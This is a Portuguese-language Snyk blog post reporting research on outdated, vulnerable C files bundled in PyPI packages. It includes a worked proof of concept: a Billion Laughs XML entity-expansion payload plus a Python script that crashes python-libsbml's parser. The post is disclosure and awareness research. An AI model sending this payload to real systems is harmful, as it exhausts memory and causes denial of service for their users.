Skip to main content

Por trás do C: um olhar sobre vulnerabilidades de C/C++ no universo Python

Escrito por
Headshot of Aviad Hahami

Aviad Hahami

feature under the

28 de abril de 2022

0 minutos de leitura

Embora a maioria dos desenvolvedores — eu inclusive — escreva principalmente em linguagens de alto nível, como Python ou JavaScript, às vezes é necessário adicionar elementos nativos para melhorar o desempenho ou outros aspectos do projeto. Como essas chamadas a extensões nativas costumam ser escritas em C ou C++, um projeto que usa principalmente JavaScript ou Python também precisa levar em conta possíveis dependências transitivas de C/C++.

Em maio de 2021, a Snyk adquiriu a FossID, especializada em detectar licenças e vulnerabilidades no ecossistema de código aberto de C e C++. A FossID foi então integrada à Snyk CLI, que passou a poder analisar dependências de C e C++.

Como integrante da equipe de segurança da Snyk, pesquisei os resultados das análises de arquivos C da Snyk em projetos npm e PyPI e encontrei descobertas interessantes — e potencialmente preocupantes.

Nesta publicação, vamos falar dos benefícios que levam desenvolvedores a incluir extensões nativas de C e C++ em projetos escritos em linguagens de alto nível. Em seguida, usaremos Python e o registro PyPI para detectar vulnerabilidades ocultas relacionadas a C nesses projetos e mostrar como vulnerabilidades de baixo nível podem afetar códigos de alto nível aparentemente seguros.

Por que incluir arquivos C/C++ em um projeto de linguagem de alto nível?

Usar arquivos C em um contexto de linguagem de alto nível nem sempre é simples, mas há bons motivos para incluir código C no seu aplicativo.

Execução e desempenho

Pense em uma linguagem interpretada como Python. Toda vez que executamos um programa Python, precisamos analisar e interpretar o código antes de executá-lo. Ao introduzir C nessa combinação, o Cython — um superconjunto de Python e C — permite transpilar o código Python para C e compilá-lo depois, acelerando a execução.

Hardware, recursos e gerenciamento de memória

Às vezes, escrevemos programas que exigem processamento computacional intenso e interagem com hardware especializado. É o caso, por exemplo, de mecanismos gráficos ou softwares relacionados a criptomoedas que podem interagir com a GPU. Também precisamos considerar componentes em tempo real que talvez tenham recursos limitados. Esses casos são sensíveis a operações não determinísticas, como a coleta de lixo, e exigem gerenciamento determinístico de memória — por isso, C é nossa linguagem preferida.

Lemas e hipótese

Nossa hipótese de pesquisa é a seguinte:

Lemas:

  1. Há muitos bons motivos para incluir arquivos C/C++ no código-fonte e nos ambientes de execução de linguagens de alto nível.

  2. Não existe um sistema universal de gerenciamento de pacotes para arquivos C/C++.

Hipótese:

Se analisarmos pacotes de linguagens de alto nível que integram arquivos C, poderemos encontrar vulnerabilidades de C ou originadas em C nesses pacotes.

Para testar nossa hipótese, escolhemos Python e o ecossistema PyPI como primeira opção e teste de viabilidade.

O registro PyPI: C em Python

No momento em que este texto foi escrito, havia cerca de 367.755 bibliotecas disponíveis publicamente no PyPI.

Nossa análise inicial buscou encontrar todos os pacotes (e suas versões) que contêm arquivos C.

Encontramos cerca de 6.200 bibliotecas com pelo menos um arquivo C — aproximadamente 1,7% de todo o ecossistema.

Embora esse número seja pequeno em comparação com o ecossistema inteiro, ele é ideal para os objetivos da nossa pesquisa. Um conjunto menor de resultados facilita a detecção e a eliminação de falsos positivos.

Critério 1: identidade do conteúdo

Primeiro, verificamos a identidade dos arquivos das bibliotecas extraídas na etapa anterior. Nessa análise, testamos cada arquivo C da biblioteca para identificar se ele é ou já foi vulnerável às CVEs que conhecemos.

Graças à incrível tecnologia da FossID, agora parte do produto da Snyk, podemos rastrear qualquer arquivo até sua primeira ocorrência e descobrir onde um trecho de código foi encontrado originalmente.

Ao aplicar nosso primeiro critério, encontramos cerca de 64 versões distintas de pacotes que incluem um ou mais arquivos-fonte vulneráveis originaissem alterações. Ao desconsiderar as versões distintas, chegamos a 143 ocorrências de arquivos idênticos e vulneráveis.

Critério 2: similaridade do conteúdo

O segundo critério avaliado foi a similaridade dos arquivos. Neste estudo, isso significa que, embora o conteúdo dos arquivos possa não ser idêntico, o trecho de código crítico relacionado à vulnerabilidade é.

Ao testar esse critério (excluindo o critério 1), encontramos cerca de 231 versões distintas de pacotes com um ou mais trechos sabidamente vulneráveis. Sem considerar as versões distintas, encontramos 1.931 trechos vulneráveis idênticos.

Visualizações lado a lado de códigos-fonte, com linhas correspondentes destacadas e setas de conexão, ilustrando arquivos semelhantes identificados pelo sistema.
Exemplo de arquivos semelhantes identificados pelo nosso sistema.

Analisando os números

Consolidando os números acima, encontramos cerca de 2.074 ocorrências dos nossos critérios em pacotes do PyPI. Como o código C costuma ser usado em tarefas de engenharia mais complexas, não nos surpreendemos ao encontrar bibliotecas de baixo nível nos resultados, como:

  1. gevent (5,7 mil)

  2. pycrypto (2,4 mil)

  3. selectolax (cerca de 500)

O gráfico abaixo mostra uma análise detalhada das bibliotecas Python que contêm C. Ele apresenta o total (representado pelo gráfico de pizza), a porcentagem marcada como vulnerável (incluindo casos não exploráveis ou falsos positivos) e a porcentagem que é vulnerável com altíssima probabilidade.

Arquivos C em bibliotecas Python: panorama das vulnerabilidades

Gráfico de pizza mostrando 5.064 itens sem vulnerabilidades (79,1%), 1.097 marcados como vulneráveis (17,1%) e 243 com alto grau de confiança de que são vulneráveis.

Comprovar que vulnerabilidades em bibliotecas podem ser exploradas não é simples nem automático — todas as vulnerabilidades relatadas precisam ser verificadas manualmente. No entanto, para demonstrar as importantes implicações no mundo real do problema que estamos discutindo, a próxima seção apresenta uma vulnerabilidade e a gravidade de sua exploração.

Vulnerabilidade oculta há 20 anos — python-libsbml

Uma das bibliotecas identificadas pela nossa ferramenta foi a python-libsbml, usada para ler, gravar e manipular a linguagem de marcação de biologia de sistemas (SBML). Como essa linguagem de marcação é relacionada a XML, não nos surpreendeu encontrar libxml2 entre as dependências do projeto.

Nossa ferramenta marcou um dos arquivos (parser.c) como vulnerável ao ataque Billion Laughs — uma vulnerabilidade de DoS com 20 anos, catalogada como CVE-2003-1564. O ataque Billion Laughs é bem simples: basta gerar entidades autorreferentes suficientes em um documento XML e enviá-lo ao analisador.

Veja a prova de conceito (PoC) dessa vulnerabilidade.

Crie o payload malicioso e salve-o como payload.xml

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Depois de instalar a python-libsbml, crie o seguinte arquivo Python:

import libsbml
import sys

filename = sys.argv[1]
print(f'[*] Starting DoS; payload name -> "filename"')

try:
    print(f'[+] Executing; Machine should freeze...')
    doc = libsbml.readSBMLFromFile(filename)
except Exception as e:
    print(f'[!] ERROR! {e}')
finally:
    print('[*] Finally reached')

Por fim, execute o arquivo Python com:

python exp.py payload.xml

“Se você seguir as etapas corretamente, o uso da CPU deve chegar a 100% e a memória continuará aumentando até a máquina ficar sem memória (OOM). Assim, executamos um ataque de DoS contra a máquina.”

Terminal exibindo um payload de DoS em Python em execução em um contêiner Docker, com o htop indicando uso de 100% da CPU e as estatísticas do Docker abaixo.
Exemplo de um runtime de DoS dentro de uma VM do Docker.

Essa vulnerabilidade talvez não cause comoção na comunidade de desenvolvimento, mas imagine o que aconteceria se uma vulnerabilidade de BoF, UaF, PE/RCE ou qualquer outra originada em código C estivesse escondida no seu código Python ou NodeJS. Você já verificou se há alguma?

Essa biblioteca é baixada cerca de 20 mil vezes por mês e é uma dependência direta de aproximadamente 115 projetos públicos. Como essa vulnerabilidade de 20 anos já era conhecida, um número impressionante de dependentes desavisados a distribuiu para seus clientes e usuários.

E agora?

Enquanto continuamos a encontrar e divulgar vulnerabilidades para os responsáveis pela manutenção de projetos de código aberto, queremos incentivar desenvolvedores a procurar arquivos C em projetos que não sejam escritos em C.

Como esses arquivos C muitas vezes não contam com gerenciadores de pacotes, costumam permanecer sem alterações (ou ser copiados e colados) por longos períodos e podem acabar desatualizados e vulneráveis — esperamos que sejam identificados por pessoas bem-intencionadas.

Inscreva-se na Snyk hoje mesmo e use o novo recurso da CLI para analisar dependências C/C++ não gerenciadas nos seus projetos.

Comece a resolver desafios de capture the flag

Aprenda a resolver desafios de capture the flag assistindo sob demanda ao nosso workshop virtual introdutório.

Leia mais

Blog

Modelos de ponta encontraram as vulnerabilidades. Só o atacante encontrou as cadeias.

A análise estática encontrou as falhas, mas só os testes de ataque em aplicações ativas provaram como elas poderiam ser encadeadas para causar invasões. Uma comparação entre Evo COS, Claude Security e Claude Code Security.

feature insights context
Blog

Os ataques autônomos já chegaram. A defesa precisa acompanhar o ritmo.

Os atacantes autônomos estão reduzindo o tempo disponível para a defesa. Saiba como a descoberta, a correção, a validação e a prevenção contínuas ajudam as equipes de segurança a acompanhar esse ritmo.

Blog

Por que agentes de programação com IA continuam criando falhas de controle de acesso

Agentes de programação com IA podem gerar uma lógica de autorização que compila e passa pela revisão, mas permite que um tenant acesse os dados de outro. Saiba por que é difícil detectar falhas de controle de acesso e como evitá-las.